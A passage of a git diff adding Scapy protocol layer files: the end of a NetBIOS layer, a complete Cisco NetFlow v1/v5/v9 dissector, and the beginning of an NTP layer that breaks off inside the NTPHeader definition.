+                  ShortEnumField("SUFFIX1",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                  ByteField("NULL",0),
+                  NetBIOSNameField("DestinationName","windows"),
+                  ShortEnumField("SUFFIX2",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}),
+                  ByteField("NULL",0)]
+    
+
+class NBTSession(Packet):
+    name="NBT Session Packet"
+    fields_desc= [ByteEnumField("TYPE",0,{0x00:"Session Message",0x81:"Session Request",0x82:"Positive Session Response",0x83:"Negative Session Response",0x84:"Retarget Session Response",0x85:"Session Keepalive"}),
+                  BitField("RESERVED",0x00,7),
+                  BitField("LENGTH",0,17)]
+
+bind_layers( UDP,           NBNSQueryRequest,  dport=137)
+bind_layers( UDP,           NBNSRequest,       dport=137)
+bind_layers( UDP,           NBNSQueryResponse, sport=137)
+bind_layers( UDP,           NBNSQueryResponseNegative, sport=137)
+bind_layers( UDP,           NBNSNodeStatusResponse,    sport=137)
+bind_layers( NBNSNodeStatusResponse,        NBNSNodeStatusResponseService, )
+bind_layers( NBNSNodeStatusResponse,        NBNSNodeStatusResponseService, )
+bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseService, )
+bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseEnd, )
+bind_layers( UDP,           NBNSWackResponse, sport=137)
+bind_layers( UDP,           NBTDatagram,      dport=138)
+bind_layers( TCP,           NBTSession,       dport=139)
diff --git a/scapy/layers/netflow.py b/scapy/layers/netflow.py
new file mode 100644
index 0000000..be13061
--- /dev/null
+++ b/scapy/layers/netflow.py
@@ -0,0 +1,448 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+## Netflow V5 appended by spaceB0x and Guillaume Valadon
+## Netflow V9 appended ny Gabriel Potter
+
+"""
+Cisco NetFlow protocol v1, v5 and v9
+
+
+
+- NetflowV9 build example:
+
+pkt = NetflowHeader()/\
+    NetflowHeaderV9()/\
+    NetflowFlowsetV9(templates=[
+        NetflowTemplateV9(templateID=258, template_fields=[
+            NetflowTemplateFieldV9(fieldType=1),
+            NetflowTemplateFieldV9(fieldType=62),
+        ]),
+        NetflowTemplateV9(templateID=257, template_fields=[
+            NetflowTemplateFieldV9(fieldType=1),
+            NetflowTemplateFieldV9(fieldType=62),
+        ]),
+    ])/NetflowDataflowsetV9(templateID=258, records=[
+        NetflowRecordV9(fieldValue=b"\x01\x02\x03\x05"),
+        NetflowRecordV9(fieldValue=b"\x05\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01"),
+    ])/NetflowDataflowsetV9(templateID=257, records=[
+        NetflowRecordV9(fieldValue=b"\x01\x02\x03\x04"),
+        NetflowRecordV9(fieldValue=b"\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01"),
+    ])/NetflowOptionsFlowsetV9(templateID=256, scopes=[NetflowOptionsFlowsetScopeV9(scopeFieldType=1, scopeFieldlength=4),
+                                                       NetflowOptionsFlowsetScopeV9(scopeFieldType=1, scopeFieldlength=3)], 
+                                               options=[NetflowOptionsFlowsetOptionV9(optionFieldType=1, optionFieldlength=2),
+                                                        NetflowOptionsFlowsetOptionV9(optionFieldType=1, optionFieldlength=1)])/\
+    NetflowOptionsDataRecordV9(templateID=256, records=[NetflowOptionsRecordScopeV9(fieldValue=b"\x01\x02\x03\x04"),
+                                                        NetflowOptionsRecordScopeV9(fieldValue=b"\x01\x02\x03"),
+                                                        NetflowOptionsRecordOptionV9(fieldValue=b"\x01\x02"),
+                                                        NetflowOptionsRecordOptionV9(fieldValue=b"\x01")])
+"""
+
+
+from scapy.fields import *
+from scapy.packet import *
+from scapy.data import IP_PROTOS
+from scapy.layers.inet import UDP
+
+
+class NetflowHeader(Packet):
+    name = "Netflow Header"
+    fields_desc = [ ShortField("version", 1) ]
+
+
+###########################################
+### Netflow Version 1
+###########################################
+
+
+class NetflowHeaderV1(Packet):
+    name = "Netflow Header v1"
+    fields_desc = [ ShortField("count", 0),
+                    IntField("sysUptime", 0),
+                    UTCTimeField("unixSecs", 0),
+                    UTCTimeField("unixNanoSeconds", 0, use_nano=True) ]
+
+
+class NetflowRecordV1(Packet):
+    name = "Netflow Record v1"
+    fields_desc = [ IPField("ipsrc", "0.0.0.0"),
+                    IPField("ipdst", "0.0.0.0"),
+                    IPField("nexthop", "0.0.0.0"),
+                    ShortField("inputIfIndex", 0),
+                    ShortField("outpuIfIndex", 0),
+                    IntField("dpkts", 0),
+                    IntField("dbytes", 0),
+                    IntField("starttime", 0),
+                    IntField("endtime", 0),
+                    ShortField("srcport", 0),
+                    ShortField("dstport", 0),
+                    ShortField("padding", 0),
+                    ByteField("proto", 0),
+                    ByteField("tos", 0),
+                    IntField("padding1", 0),
+                    IntField("padding2", 0) ]
+
+
+bind_layers( NetflowHeader,   NetflowHeaderV1, version=1)
+bind_layers( NetflowHeaderV1, NetflowRecordV1 )
+bind_layers( NetflowRecordV1, NetflowRecordV1 )
+
+
+#########################################
+### Netflow Version 5
+#########################################
+
+
+class NetflowHeaderV5(Packet):
+    name = "Netflow Header v5"
+    fields_desc = [ ShortField("count", 0),
+                    IntField("sysUptime", 0),
+                    UTCTimeField("unixSecs", 0),
+                    UTCTimeField("unixNanoSeconds", 0, use_nano=True),
+                    IntField("flowSequence",0),
+                    ByteField("engineType", 0),
+                    ByteField("engineID", 0),
+                    ShortField("samplingInterval", 0) ]
+
+
+class NetflowRecordV5(Packet):
+    name = "Netflow Record v5"
+    fields_desc = [ IPField("src", "127.0.0.1"),
+                    IPField("dst", "127.0.0.1"),
+                    IPField("nexthop", "0.0.0.0"),
+                    ShortField("input", 0),
+                    ShortField("output", 0),
+                    IntField("dpkts", 1),
+                    IntField("dOctets", 60),
+                    IntField("first", 0),
+                    IntField("last", 0),
+                    ShortField("srcport", 0),
+                    ShortField("dstport", 0),
+                    ByteField("pad1", 0),
+                    FlagsField("tcpFlags", 0x2, 8, "FSRPAUEC"),
+                    ByteEnumField("prot", IP_PROTOS["tcp"], IP_PROTOS),
+                    ByteField("tos",0),
+                    ShortField("src_as", 0),
+                    ShortField("dst_as", 0),
+                    ByteField("src_mask", 0),
+                    ByteField("dst_mask", 0),
+                    ShortField("pad2", 0)]
+
+
+bind_layers( NetflowHeader,   NetflowHeaderV5, version=5)
+bind_layers( NetflowHeaderV5, NetflowRecordV5 )
+bind_layers( NetflowRecordV5, NetflowRecordV5 )
+
+#########################################
+### Netflow Version 9
+#########################################
+
+# https://www.ietf.org/rfc/rfc3954.txt
+
+NetflowV9TemplateFieldTypes = {
+        1: "IN_BYTES",
+        2: "IN_PKTS",
+        3: "FLOWS",
+        4: "PROTOCOL",
+        5: "TOS",
+        6: "TCP_FLAGS",
+        7: "L4_SRC_PORT",
+        8: "IPV4_SRC_ADDR",
+        9: "SRC_MASK",
+        10: "INPUT_SNMP",
+        11: "L4_DST_PORT",
+        12: "IPV4_DST_ADDR",
+        13: "DST_MASK",
+        14: "OUTPUT_SNMP",
+        15: "IPV4_NEXT_HOP",
+        16: "SRC_AS",
+        17: "DST_AS",
+        18: "BGP_IPV4_NEXT_HOP",
+        19: "MUL_DST_PKTS",
+        20: "MUL_DST_BYTES",
+        21: "LAST_SWITCHED",
+        22: "FIRST_SWITCHED",
+        23: "OUT_BYTES",
+        24: "OUT_PKTS",
+        27: "IPV6_SRC_ADDR",
+        28: "IPV6_DST_ADDR",
+        29: "IPV6_SRC_MASK",
+        30: "IPV6_DST_MASK",
+        31: "IPV6_FLOW_LABEL",
+        32: "ICMP_TYPE",
+        33: "MUL_IGMP_TYPE",
+        34: "SAMPLING_INTERVAL",
+        35: "SAMPLING_ALGORITHM",
+        36: "FLOW_ACTIVE_TIMEOUT",
+        37: "FLOW_INACTIVE_TIMEOUT",
+        38: "ENGINE_TYPE",
+        39: "ENGINE_ID",
+        40: "TOTAL_BYTES_EXP",
+        41: "TOTAL_PKTS_EXP",
+        42: "TOTAL_FLOWS_EXP",
+        46: "MPLS_TOP_LABEL_TYPE",
+        47: "MPLS_TOP_LABEL_IP_ADDR",
+        48: "FLOW_SAMPLER_ID",
+        49: "FLOW_SAMPLER_MODE",
+        50: "FLOW_SAMPLER_RANDOM_INTERVAL",
+        55: "DST_TOS",
+        56: "SRC_MAC",
+        57: "DST_MAC",
+        58: "SRC_VLAN",
+        59: "DST_VLAN",
+        60: "IP_PROTOCOL_VERSION",
+        61: "DIRECTION",
+        62: "IPV6_NEXT_HOP",
+        63: "BGP_IPV6_NEXT_HOP",
+        64: "IPV6_OPTION_HEADERS",
+        70: "MPLS_LABEL_1",
+        71: "MPLS_LABEL_2",
+        72: "MPLS_LABEL_3",
+        73: "MPLS_LABEL_4",
+        74: "MPLS_LABEL_5",
+        75: "MPLS_LABEL_6",
+        76: "MPLS_LABEL_7",
+        77: "MPLS_LABEL_8",
+        78: "MPLS_LABEL_9",
+        79: "MPLS_LABEL_10",
+    }
+
+ScopeFieldTypes = {
+    1: "System",
+    2: "Interface",
+    3: "Line card",
+    4: "Cache",
+    5: "Template",
+    }
+
+NetflowV9TemplateFieldDefaultLengths = {
+        1: 4,
+        2: 4,
+        3: 4,
+        4: 1,
+        5: 1,
+        6: 1,
+        7: 2,
+        8: 4,
+        9: 1,
+        10: 2,
+        11: 2,
+        12: 4,
+        13: 1,
+        14: 2,
+        15: 4,
+        16: 2,
+        17: 2,
+        18: 4,
+        19: 4,
+        20: 4,
+        21: 4,
+        22: 4,
+        23: 4,
+        24: 4,
+        27: 16,
+        28: 16,
+        29: 1,
+        30: 1,
+        31: 3,
+        32: 2,
+        33: 1,
+        34: 4,
+        35: 1,
+        36: 2,
+        37: 2,
+        38: 1,
+        39: 1,
+        40: 4,
+        41: 4,
+        42: 4,
+        46: 1,
+        47: 4,
+        48: 1,
+        49: 1,
+        50: 4,
+        55: 1,
+        56: 6,
+        57: 6,
+        58: 2,
+        59: 2,
+        60: 1,
+        61: 1,
+        62: 16,
+        63: 16,
+        64: 4,
+        70: 3,
+        71: 3,
+        72: 3,
+        73: 3,
+        74: 3,
+        75: 3,
+        76: 3,
+        77: 3,
+        78: 3,
+        79: 3,
+    }
+
+class NetflowHeaderV9(Packet):
+    name = "Netflow Header V9"
+    fields_desc = [ ShortField("count", 0),
+                    IntField("sysUptime", 0),
+                    UTCTimeField("unixSecs", 0),
+                    IntField("packageSequence",0),
+                    IntField("SourceID", 0) ]
+
+class NetflowTemplateFieldV9(Packet):
+    name = "Netflow Flowset Template Field V9"
+    fields_desc = [ ShortEnumField("fieldType", None, NetflowV9TemplateFieldTypes),
+                    ShortField("fieldLength", 0) ]
+    def __init__(self, *args, **kwargs):
+        Packet.__init__(self, *args, **kwargs)
+        if self.fieldType != None:
+            self.fieldLength = NetflowV9TemplateFieldDefaultLengths[self.fieldType]
+
+    def default_payload_class(self, p):
+        return conf.padding_layer
+
+class NetflowTemplateV9(Packet):
+    name = "Netflow Flowset Template V9"
+    fields_desc = [ ShortField("templateID", 255),
+                    FieldLenField("fieldCount", None, count_of="template_fields"),
+                    PacketListField("template_fields", [], NetflowTemplateFieldV9,
+                                    count_from = lambda pkt: pkt.fieldCount) ]
+
+    def default_payload_class(self, p):
+        return conf.padding_layer
+
+class NetflowFlowsetV9(Packet):
+    name = "Netflow FlowSet V9"
+    fields_desc = [ ShortField("flowSetID", 0),
+                    FieldLenField("length", None, length_of="templates", adjust=lambda pkt,x:x+4),
+                    PacketListField("templates", [], NetflowTemplateV9,
+                                    length_from = lambda pkt: pkt.length-4) ]
+
+class NetflowRecordV9(Packet):
+    name = "Netflow DataFlowset Record V9"
+    fields_desc = [ StrField("fieldValue", "") ]
+
+    def default_payload_class(self, p):
+        return conf.padding_layer
+
+class NetflowDataflowsetV9(Packet):
+    name = "Netflow DataFlowSet V9"
+    fields_desc = [ ShortField("templateID", 255),
+                    FieldLenField("length", None, length_of="records", adjust = lambda pkt,x:x+4),
+                    PadField(PacketListField("records", [], NetflowRecordV9,
+                                    length_from = lambda pkt: pkt.length-4),
+                             4, padwith=b"\x00") ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            if _pkt[:2] == b"\x00\x01":
+                return NetflowOptionsFlowsetV9
+        return cls
+    
+    def post_dissection(self, pkt):
+        # We need the whole packet to be dissected to access field def in NetflowFlowsetV9
+        root = pkt.firstlayer()
+        current = root
+        # Get all linked NetflowFlowsetV9
+        while current.payload.haslayer(NetflowFlowsetV9):
+            current = current.payload[NetflowFlowsetV9]
+            for ntv9 in current.templates:
+                current_ftl = root.getlayer(NetflowDataflowsetV9, templateID=ntv9.templateID)
+                if current_ftl:
+                    # Matched
+                    if len(current_ftl.records) > 1:
+                        # post_dissection is not necessary
+                        return
+                    # All data is stored in one record, awaiting to be splitted
+                    data = current_ftl.records.pop(0).fieldValue
+                    res = []
+                    # Now, according to the NetflowFlowsetV9 data, re-dissect NetflowDataflowsetV9
+                    for template in ntv9.template_fields:
+                        _l = template.fieldLength
+                        if _l:
+                            res.append(NetflowRecordV9(data[:_l]))
+                            data = data[_l:]
+                    if data:
+                        res.append(Raw(data))
+                    # Inject dissected data
+                    current_ftl.records = res
+                else:
+                    warning("[NetflowFlowsetV9 templateID=%s]: No matching NetflowDataflowsetV9 !" % ntv9.templateID)
+
+class NetflowOptionsFlowsetScopeV9(Packet):
+    name = "Netflow Options Template FlowSet V9 - Scope"
+    fields_desc = [ ShortEnumField("scopeFieldType", None, ScopeFieldTypes),
+                    ShortField("scopeFieldlength", 0) ]
+
+    def default_payload_class(self, p):
+        return conf.padding_layer
+
+class NetflowOptionsRecordScopeV9(NetflowRecordV9):
+    name = "Netflow Options Template Record V9 - Scope"
+
+class NetflowOptionsRecordOptionV9(NetflowRecordV9):
+    name = "Netflow Options Template Record V9 - Option"
+
+class NetflowOptionsFlowsetOptionV9(Packet):
+    name = "Netflow Options Template FlowSet V9 - Option"
+    fields_desc = [ ShortEnumField("optionFieldType", None, NetflowV9TemplateFieldTypes),
+                    ShortField("optionFieldlength", 0) ]
+
+    def default_payload_class(self, p):
+        return conf.padding_layer
+
+class NetflowOptionsFlowsetV9(Packet):
+    name = "Netflow Options Template FlowSet V9"
+    fields_desc = [ ShortField("flowSetID", 1),
+                    LenField("length", None),
+                    ShortField("templateID", 255),
+                    FieldLenField("option_scope_length", None, length_of="scopes"),
+                    FieldLenField("option_field_length", None, length_of="options"),
+                    PacketListField("scopes", [], NetflowOptionsFlowsetScopeV9,
+                                    length_from = lambda pkt: pkt.option_scope_length),
+                    PadField(PacketListField("options", [], NetflowOptionsFlowsetOptionV9,
+                                    length_from = lambda pkt: pkt.option_field_length),
+                             4, padwith=b"\x00") ]
+
+class NetflowOptionsDataRecordV9(NetflowDataflowsetV9):
+    name = "Netflow Options Data Record V9"
+    fields_desc = [ ShortField("templateID", 255),
+                FieldLenField("length", None, length_of="records", adjust = lambda pkt,x:x+4),
+                PadField(PacketListField("records", [], NetflowRecordV9,
+                                length_from = lambda pkt: pkt.length-4),
+                         4, padwith=b"\x00") ]
+
+    def post_dissection(self, pkt):
+        options_data_record = pkt[NetflowOptionsDataRecordV9]
+        if pkt.haslayer(NetflowOptionsFlowsetV9):
+            options_flowset = pkt[NetflowOptionsFlowsetV9]
+            data = options_data_record.records.pop(0).fieldValue
+            res = []
+            # Now, according to the NetflowOptionsFlowsetV9 data, re-dissect NetflowOptionsDataRecordV9
+            for scope in options_flowset.scopes:
+                _l = scope.scopeFieldlength
+                if _l:
+                    res.append(NetflowOptionsRecordScopeV9(data[:_l]))
+                    data = data[_l:]
+
+            # Now, according to the NetflowOptionsFlowsetV9 data, re-dissect NetflowOptionsDataRecordV9
+            for option in options_flowset.options:
+                _l = option.optionFieldlength
+                if _l:
+                    res.append(NetflowOptionsRecordOptionV9(data[:_l]))
+                    data = data[_l:]
+            if data:
+                res.append(Raw(data))
+            # Inject dissected data
+            options_data_record.records = res
+
+bind_layers( NetflowHeader, NetflowHeaderV9, version=9 )
+bind_layers( NetflowHeaderV9, NetflowFlowsetV9 )
+bind_layers( NetflowFlowsetV9, NetflowDataflowsetV9 )
+bind_layers( NetflowDataflowsetV9, NetflowDataflowsetV9 )
+
+bind_layers( NetflowOptionsFlowsetV9, NetflowOptionsDataRecordV9 )
diff --git a/scapy/layers/ntp.py b/scapy/layers/ntp.py
new file mode 100644
index 0000000..f8dbe16
--- /dev/null
+++ b/scapy/layers/ntp.py
@@ -0,0 +1,1837 @@
+# This file is part of Scapy
+# See http://www.secdev.org/projects/scapy for more informations
+# Copyright (C) Philippe Biondi <phil@secdev.org>
+# This program is published under a GPLv2 license
+
+"""
+NTP (Network Time Protocol).
+References : RFC 5905, RC 1305, ntpd source code
+"""
+
+from __future__ import absolute_import
+import struct
+import time
+import datetime
+
+from scapy.packet import Packet, bind_layers
+from scapy.fields import (BitField, BitEnumField, ByteField, ByteEnumField, \
+XByteField, SignedByteField, FlagsField, ShortField, LEShortField, IntField,\
+LEIntField, FixedPointField, IPField, StrField, StrFixedLenField,\
+StrFixedLenEnumField, XStrFixedLenField, PacketField, PacketLenField,\
+PacketListField, FieldListField, ConditionalField, PadField)
+from scapy.layers.inet6 import IP6Field
+from scapy.layers.inet import UDP
+from scapy.utils import lhex
+from scapy.compat import *
+from scapy.config import conf
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+
+
+#############################################################################
+##### Constants
+#############################################################################
+
+_NTP_AUTH_MD5_MIN_SIZE = 68
+_NTP_EXT_MIN_SIZE = 16
+_NTP_HDR_WITH_EXT_MIN_SIZE = _NTP_AUTH_MD5_MIN_SIZE + _NTP_EXT_MIN_SIZE
+_NTP_AUTH_MD5_TAIL_SIZE = 20
+_NTP_AUTH_MD5_DGST_SIZE = 16
+_NTP_PRIVATE_PACKET_MIN_SIZE = 8
+
+# ntpd "Private" messages are the shortest
+_NTP_PACKET_MIN_SIZE = _NTP_PRIVATE_PACKET_MIN_SIZE
+
+_NTP_PRIVATE_REQ_PKT_TAIL_LEN = 28
+
+# seconds between 01-01-1900 and 01-01-1970
+_NTP_BASETIME = 2208988800
+
+# include/ntp.h
+_NTP_SHIFT = 8
+_NTP_HASH_SIZE = 128
+
+
+#############################################################################
+##### Fields and utilities
+#############################################################################
+
+class XLEShortField(LEShortField):
+    """
+    XShortField which value is encoded in little endian.
+    """
+
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+
+class TimeStampField(FixedPointField):
+    """
+    This field handles the timestamp fields in the NTP header.
+    """
+
+    def __init__(self, name, default):
+        FixedPointField.__init__(self, name, default, 64, 32)
+
+    def i2repr(self, pkt, val):
+        if val is None:
+            return "--"
+        val = self.i2h(pkt, val)
+        if val < _NTP_BASETIME:
+            return val
+        return time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(val - _NTP_BASETIME))
+
+    def any2i(self, pkt, val):
+        if isinstance(val, six.string_types):
+            val = int(time.mktime(time.strptime(val))) + _NTP_BASETIME
+        elif isinstance(val, datetime.datetime):
+            val = int(val.strftime("%s")) + _NTP_BASETIME
+        return FixedPointField.any2i(self, pkt, val)
+
+    def i2m(self, pkt, val):
+        if val is None:
+            val = FixedPointField.any2i(self, pkt, time.time() + _NTP_BASETIME)
+        return FixedPointField.i2m(self, pkt, val)
+
+
+#############################################################################
+##### NTP
+#############################################################################
+
+# RFC 5905 / Section 7.3
+_leap_indicator = {
+    0: "no warning",
+    1: "last minute of the day has 61 seconds",
+    2: "last minute of the day has 59 seconds",
+    3: "unknown (clock unsynchronized)"
+}
+
+
+# RFC 5905 / Section 7.3
+_ntp_modes = {
+    0: "reserved",
+    1: "symmetric active",
+    2: "symmetric passive",
+    3: "client",
+    4: "server",
+    5: "broadcast",
+    6: "NTP control message",
+    7: "reserved for private use"
+}
+
+
+# RFC 5905 / Section 7.3
+_reference_identifiers = {
+    "GOES": "Geosynchronous Orbit Environment Satellite",
+    "GPS ": "Global Position System",
+    "GAL ": "Galileo Positioning System",
+    "PPS ": "Generic pulse-per-second",
+    "IRIG": "Inter-Range Instrumentation Group",
+    "WWVB": "LF Radio WWVB Ft. Collins, CO 60 kHz",
+    "DCF ": "LF Radio DCF77 Mainflingen, DE 77.5 kHz",
+    "HBG ": "LF Radio HBG Prangins, HB 75 kHz",
+    "MSF ": "LF Radio MSF Anthorn, UK 60 kHz",
+    "JJY ": "LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz",
+    "LORC": "MF Radio LORAN C station, 100 kHz",
+    "TDF ": "MF Radio Allouis, FR 162 kHz",
+    "CHU ": "HF Radio CHU Ottawa, Ontario",
+    "WWV ": "HF Radio WWV Ft. Collins, CO",
+    "WWVH": "HF Radio WWVH Kauai, HI",
+    "NIST": "NIST telephone modem",
+    "ACTS": "NIST telephone modem",
+    "USNO": "USNO telephone modem",
+    "PTB ": "European telephone modem",
+}
+
+
+# RFC 5905 / Section 7.4
+_kiss_codes = {
+    "ACST": "The association belongs to a unicast server.",
+    "AUTH": "Server authentication failed.",
+    "AUTO": "Autokey sequence failed.",
+    "BCST": "The association belongs to a broadcast server.",
+    "CRYP": "Cryptographic authentication or identification failed.",
+    "DENY": "Access denied by remote server.",
+    "DROP": "Lost peer in symmetric mode.",
+    "RSTR": "Access denied due to local policy.",
+    "INIT": "The association has not yet synchronized for the first time.",
+    "MCST": "The association belongs to a dynamically discovered server.",
+    "NKEY": "No key found.",
+    "RATE": "Rate exceeded.",
+    "RMOT": "Alteration of association from a remote host running ntpdc."
+}
+
+
+# Used by _ntp_dispatcher to instantiate the appropriate class
+def _ntp_dispatcher(payload):
+    """
+    Returns the right class for a given NTP packet.
+    """
+    # By default, calling NTP() will build a NTP packet as defined in RFC 5905
+    # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.
+    if payload is None:
+        return NTPHeader
+    else:
+        length = len(payload)
+        if length >= _NTP_PACKET_MIN_SIZE:
+            first_byte = orb(payload[0])
+            # Extract NTP mode
+            mode = first_byte & 7
+            return {6: NTPControl, 7: NTPPrivate}.get(mode, NTPHeader)
+    return conf.raw_layer
+
+
+class NTP(Packet):
+    """
+    Base class that allows easier instantiation of a NTP packet from binary
+    data.
+    """
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        Returns the right class for the given data.
+        """
+
+        return _ntp_dispatcher(_pkt)
+
+    def pre_dissect(self, s):
+        """
+        Check that the payload is long enough to build a NTP packet.
+        """
+        length = len(s)
+        if length < _NTP_PACKET_MIN_SIZE:
+            err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE "
+            err += "({})).".format(_NTP_PACKET_MIN_SIZE)
+            raise _NTPInvalidDataException(err)
+        return s
+
+    # NTPHeader, NTPControl and NTPPrivate are NTP packets.
+    # This might help, for example when reading a pcap file.
+    def haslayer(self, cls):
+        """Specific: NTPHeader().haslayer(NTP) should return True."""
+        if cls == "NTP":
+            if isinstance(self, NTP):
+                return True
+        elif issubclass(cls, NTP):
+            if isinstance(self, cls):
+                return True
+        return super(NTP, self).haslayer(cls)
+
+    def getlayer(self, cls, nb=1, _track=None, _subclass=True, **flt):
+        return super(NTP, self).getlayer(cls, nb=nb, _track=_track,
+                                         _subclass=True, **flt)
+
+    def mysummary(self):
+        return self.sprintf("NTP v%ir,NTP.version%, %NTP.mode%")
+
+
+class _NTPAuthenticatorPaddingField(StrField):
+    """
+    StrField handling the padding that may be found before the
+    "authenticator" field.
+    """
+
+    def getfield(self, pkt, s):
+        ret = None
+        remain = s
+        length = len(s)
+
+        if length > _NTP_AUTH_MD5_TAIL_SIZE:
+            start = length - _NTP_AUTH_MD5_TAIL_SIZE
+            ret = s[:start]
+            remain = s[start:]
+        return remain, ret
+
+
+class NTPAuthenticator(Packet):
+    """
+    Packet handling the "authenticator" part of a NTP packet, as
+    defined in RFC 5905.
+    """
+
+    name = "Authenticator"
+    fields_desc = [
+        _NTPAuthenticatorPaddingField("padding", ""),
+        IntField("key_id", 0),
+        XStrFixedLenField("dgst", "", length_from=lambda x: 16)
+    ]
+
+    def extract_padding(self, s):
+        return b"", s
+
+
+class NTPExtension(Packet):
+    """
+    Packet handling a NTPv4 extension.
+    """
+
+    #________________________________________________________________________
+    #
+    # RFC 7822
+    #________________________________________________________________________
+    #
+    # 7.5.  NTP Extension Field Format
+    #
+    #    In NTPv3, one or more extension fields can be inserted after the
+    #    header and before the MAC, if a MAC is present.
+    #
+    #    Other than defining the field format, this document makes no use
+    #    of the field contents.  An extension field contains a request or
+    #    response message in the format shown in Figure 14.
+    #
+    #     0                   1                   2                   3
+    #     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #    |          Field Type           |            Length             |
+    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #    .                                                               .
+    #    .                            Value                              .
+    #    .                                                               .
+    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #    |                       Padding (as needed)                     |
+    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #
+    #                    Figure 14: Extension Field Format
+    #
+    #
+    #    All extension fields are zero-padded to a word (four octets)
+    #    boundary.
+    #________________________________________________________________________
+    #
+
+    name = "extension"
+    fields_desc = [
+        ShortField("type", 0),
+        ShortField("len", 0),
+        PadField(PacketField("value", "", Packet), align=4, padwith=b"\x00")
+    ]
+
+
+class NTPExtPacketListField(PacketListField):
+
+    """
+    PacketListField handling NTPv4 extensions (NTPExtension list).
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+        if len(m) >= 16:
+            ret = NTPExtension(m)
+        else:
+            ret = conf.raw_layer(m)
+        return ret
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+        length = len(s)
+        if length > _NTP_AUTH_MD5_TAIL_SIZE:
+            end = length - _NTP_AUTH_MD5_TAIL_SIZE
+            extensions = s[:end]
+            remain = s[end:]
+
+            extensions_len = len(extensions)
+            while extensions_len >= 16:
+                ext_len = struct.unpack("!H", extensions[2:4])[0]
+                ext_len = min(ext_len, extensions_len)
+                if ext_len < 1:
+                    ext_len = extensions_len
+                current = extensions[:ext_len]
+                extensions = extensions[ext_len:]
+                current_packet = self.m2i(pkt, current)
+                lst.append(current_packet)
+                extensions_len = len(extensions)
+
+            if extensions_len > 0:
+                lst.append(self.m2i(pkt, extensions))
+
+        return remain, lst
+
+
+class NTPExtensions(Packet):
+    """
+    Packet handling the NTPv4 extensions and the "MAC part" of the packet.
+    """
+
+    #________________________________________________________________________
+    #
+    # RFC 5905 / RFC 7822
+    #________________________________________________________________________
+    #
+    # 7.5. NTP Extension Field Format
+    #
+    # In NTPv4, one or more extension fields can be inserted after the
+    # header and before the MAC, if a MAC is present.
+    #________________________________________________________________________
+    #
+
+    name = "NTPv4 extensions"
+    fields_desc = [
+        NTPExtPacketListField("extensions", [], Packet),
+        PacketField("mac", NTPAuthenticator(), NTPAuthenticator)
+    ]
+
+
+class NTPHeader(NTP):
+
+    """
+    Packet handling the RFC 5905 NTP packet.
+    """
+
+    #________________________________________________________________________
+    #
+    # RFC 5905
+    #________________________________________________________________________
+    #
+    #   0                   1                   2                   3
+    #   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |LI | VN  |Mode |    Stratum     |     Poll      |  Precision   |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                         Root Delay                            |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                         Root Dispersion                       |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                          Reference ID                         |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  +                     Reference Timestamp (64)                  +
+    #  |                                                               |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  +                      Origin Timestamp (64)                    +
+    #  |                                                               |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  +                      Receive Timestamp (64)                   +
+    #  |                                                               |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  +                      Transmit Timestamp (64)                  +
+    #  |                                                               |
